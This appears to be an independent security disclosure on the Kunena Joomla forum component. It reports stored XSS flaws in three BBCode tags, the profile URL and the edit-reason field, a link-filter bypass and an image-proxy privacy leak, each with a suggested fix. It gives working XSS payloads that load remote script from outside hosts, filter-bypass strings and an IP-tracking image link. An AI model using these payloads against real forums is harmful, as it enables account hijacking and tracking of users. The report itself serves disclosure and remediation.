- Introduction
- Severity Glossary
-
Identified Vulnerabilities
-
Stored XSS: '[spoiler]' BBCode Tag
$\small(\textcolor{#DF2935}{\sf{High}})$ -
Stored XSS: '[tableau]' BBCode Tag
$\small(\textcolor{#DF2935}{\sf{High}})$ -
Stored XSS: '[terminal]' BBCode Tag
$\small(\textcolor{#DF2935}{\sf{High}})$ -
Stored XSS: Website URL in User Profile
$\small(\textcolor{#FF6F22}{\sf{Medium}})$ -
Stored XSS: Edit Reason in Topic Message
$\small(\textcolor{#FF6F22}{\sf{Medium}})$
-
Stored XSS: '[spoiler]' BBCode Tag
-
Miscellaneous Issues
-
Bypassing removeLinksInMessage function
$\small(\textcolor{#DBDD2D}{\sf{Low}})$ -
No proxy in '[img]' BBCode Tag
$\small(\textcolor{#318EB1}{\sf{Info}})$
-
Bypassing removeLinksInMessage function
"Kunena is the leading Joomla forum component. Downloaded more than 8M times in 11 years, Kunena is the only forum/discussion solution for Joomla that is community driven - true open source - public self-help forums, GitHub and documentation Wiki."
— extensions.joomla.org/extension/kunena
This document describes the results of independent research on vulnerabilities in The Kunena Project in October 2022 by Slowftw for self-learning, with no org or team involved. Tests and analysis were done using two versions of Joomla and Kunena in different directories of the same localhost website with the following specifications:
Tested Environment Info
- Joomla! version:
- 3.10.11
- 4.2.3
- Kunena version:
- 5.2.10.1 [Queiriga]
- 6.0.3 [Git Repository]
- Default template:
- Joomla!:
- protostar 1.0
- cassiopeia 1.0
- Kunena:
- crypsis 5.2.10.1
- Aurelia 6.0.3
- Platform:
- Win10x64Xampp
- Apache/2.4.47
- OpenSSL/1.1.1k
- PHP/8.0.6
- MySQL version:
- 5.5.5-10.4.19-MariaDB
This section does not detail all existing severity levels but only those assigned to the issues discovered in this report. Details have been modified for this specific report and do not refer to general description of severity or risk.
🔴
🟠
🟡
🔵
🔴Stored XSS: '[spoiler]' BBCode Tag
Affected versions: 5.1.15 through 5.x
Release Note 5.1.14 - 1c57e85
Release Note 5.1.15 - 4006d58
The title is not escaped/encoded as an HTML entity. It was previously reported on 13 August 2019 by Andrey Skuratov and fixed using htmlspecialchars, but it was reversed days later by replacing it with a blacklist using the regex #<script(.*?)>(.*?)</script>#is.
- Create an account if necessary;
- Create a topic or anything else that makes BBCode process;
- Paste the payload into the topic content.
- Bypassing regex:
[spoiler="<script/src=//15.rs></script/>"][/spoiler][spoiler="<<script></script>script/src=//15.rs></script>"][/spoiler]
- Event handler of other HTML tags:
[spoiler="<img/src/onerror=jQuery.getScript`//15.rs`>"][/spoiler][spoiler="<svg/onload=jQuery.getScript`//15.rs`>"][/spoiler][spoiler="<audio/src/onerror=jQuery.getScript`//15.rs`>"][/spoiler][spoiler="<details/open/ontoggle=jQuery.getScript`//15.rs`></details>"][/spoiler]- more and more
If links are being removed it can be bypassed using encoded dot like %2E, \x2E, . or other techniques.
Remove regex blacklist and escape/encode spoiler title as HTML entity. Don’t try to sanitize input. Escape output., e.g.:
$default = $default ? htmlspecialchars($default, ENT_COMPAT, 'UTF-8') : Text::_('COM_KUNENA_BBCODE_SPOILER');
$hidden = ($document instanceof \Joomla\CMS\Document\HtmlDocument);
$layout = KunenaLayout::factory('BBCode/Spoiler');
if ($layout->getPath())
{
return (string) $layout
->set('title', $default)
->set('hidden', $hidden)
->set('content', $content)
->set('params', $params);
}🔴Stored XSS: '[tableau]' BBCode Tag
Affected versions: 1.6.0 through 5.x, 6.x
Release Note 1.6.0 - ca36e85
It is not safe to let users control the domain that is inserted into the src of the script tag.
- Create an account if necessary;
- Create a topic or anything else that makes BBCode process;
- Paste the payload into the topic content.
- Ignoring file path with query string ?:
[tableau]https://15.rs?//?:toolbar=no[/tableau]
Prevent normal users from controlling the script path/domain
or maybe disable/remove this BBCode tag because it's not in any of the default editors/template.
🔴Stored XSS: '[terminal]' BBCode Tag
Affected versions: 2.0.0 through 5.x, 6.x
Release Note 2.0.0 - a93ee55
The colortext is not properly filtered as a valid CSS Hex Color.
- Create an account if necessary;
- Create a topic or anything else that makes BBCode process;
- Paste the payload into the topic content.
- Perceptive:
[terminal colortext='"><script/src=//15.rs></script>'][/terminal]
- Imperceptible:
[terminal colortext='red"><script/src=//15.rs></script>cmd<x/'][/terminal]
Filter the colortext as valid css hex color, e.g., using regex: ^#[[:xdigit:]]{3,8}$.
If regex will not be used, keep in mind that it is possible to insert new elements in the style of the pre tag, e.g.: [terminal colortext=";background:url(//x55.is"][/terminal].
🟠Stored XSS: Website URL in User Profile
Affected versions: 4.0.0-BETA1 through 5.x, 6.x
Release Note 4.0 - 2c9b492#L165-L168
The websiteURL is not encoded before being inserted into the href of the anchor tag, so it is possible to close it and create new unsafe attributes, e.g., onmouseover. Unable to create new tags because of the strip function.
- Create an account if necessary;
- Edit your user (e.g. in /forum/user/edit/);
- Paste the payload into the Website URL.
- Short domain/payload:
http://0/"onmouseover="jQuery.getScript`//15.rs`
- To increase the payload size (e.g. for a big domain name),
inspect and remove type="url" from #social-url element:"onclick="jQuery.getScript`//xss.rocks/xss.js`
default type/length for websiteurl: varchar(50)
Escape/Encode websiteURL as HTML entity.
🟠Stored XSS: Edit Reason in Topic Message
Affected versions: 2.0.0? through 5.x
Release Note 2.0.0 - 8a9d3d9#L195
The modified_reason is not encoded before being inserted into the value of the input tag, so it is possible to close it and create new unsafe attributes, e.g., onmouseover. Unable to create new tags because of the strip function. The payload is visible in the topic message, but if the admin/mod opens it directly through the link (e.g. in /forum/test/1-2/edit/3) the chances of an attack increase.
- Create an account if necessary;
- Create/post a topic message;
- Edit the created message;
- Paste the payload into the Reason for editing.
- Low probability of user interaction:
"onmouseover="alert()
- High probability of user interaction:
"onmouseover="alert()"style="top:0;left:0;width:100%;height:100%;position:fixed;z-index:11
Escape/Encode modified_reason as HTML entity.
Affected File/Code
ed1a402#L1011
This function was created to remove images and links from newly registered users, but it is possible to bypass the regex blacklist and exploit identified issues/vulnerabilities further. * Auto-Link URLs option must be enabled.
- IP Address
http://1.1.1.1/*[URL="1.1.1.1"]test[/URL][url="1.1.1.1"]test[/url=][url =1.1.1.1]test[/url]space before the equal sign[[url=][/url]url=1.1.1.1]test[/url][img]http://1.1.1.1/file~.png[/img][IMG]http://1.1.1.1/file~.png[/IMG]
- Accent Domain
http://café.fr/*[url="café.fr"]test[/url=]
- Unicode Domain Name
http://ストア.com/*[url="ストア.com"]test[/url=]http://⑮.rs/*[url="⑮.rs"]test[/url=]
- Unicode TLD
http://中央电视台.中国/*[url="中央电视台.中国"]test[/url=]
Blacklisting with Regex in this case is difficult and fails.
Generate the HTML from BBCode and then remove the desired HTML tags, e.g.:
$text = KunenaHtmlParser::parseBBCode($text);
$text = preg_replace('/<div class="kmsgimage">.*?<\/div>|<a .*?<\/a>/s', '', $text);Affected File/Code
ed1a402#L2625
Why and what is a forward/reverse proxy?
There is no proxy between the user and the image's web server, so some privacy information may be exposed, such as the user's IP, referer, user agent, etc... A newly created user could use the previous issue to abuse this one.
- Stealing IP and browser info:
[img]https://505.netlify.app/.png[/img]
I recommend wsrv.nl as it is a free, fast and open-source long-standing image caching and manipulation service.
The idea is to prefix the src of user-controlled images, e.g.:
<!-- [img]https://example.org/1.png[/img] -> urlencode() -->
<img src="https://wsrv.nl/?n=-1&default=placekitten.com/128&url=https%3A%2F%2Fexample.org%2F1.png">
<!--
"?n=-1" = no static gifs
"&default=" = fallback if image breaks
"&url=" = image to be processed. urlencode() is optional, if not used, users can add more
parameters to the service, e.g.: [img]https://example.org/1.png&filt=greyscale&x=.png[/img]
-->
<img src="https://wsrv.nl/?n=-1&default=placekitten.com/128&url=https://example.org/1.png&filt=greyscale&x=.png">A internal proxy function may require a lot of resources and development time, but here is some examples and articles about:
- https://github.com/atmos/camo
- https://github.com/search?q=image+proxy&type=Repositories
- https://gist.github.com/e141c4aca4ca1f3bd8a2c04877f4b26e#gistcomment-3782844 (no HMAC)
- https://github.blog/2010-11-13-sidejack-prevention-phase-3-ssl-proxied-assets/
- https://github.blog/2014-01-28-proxying-user-images/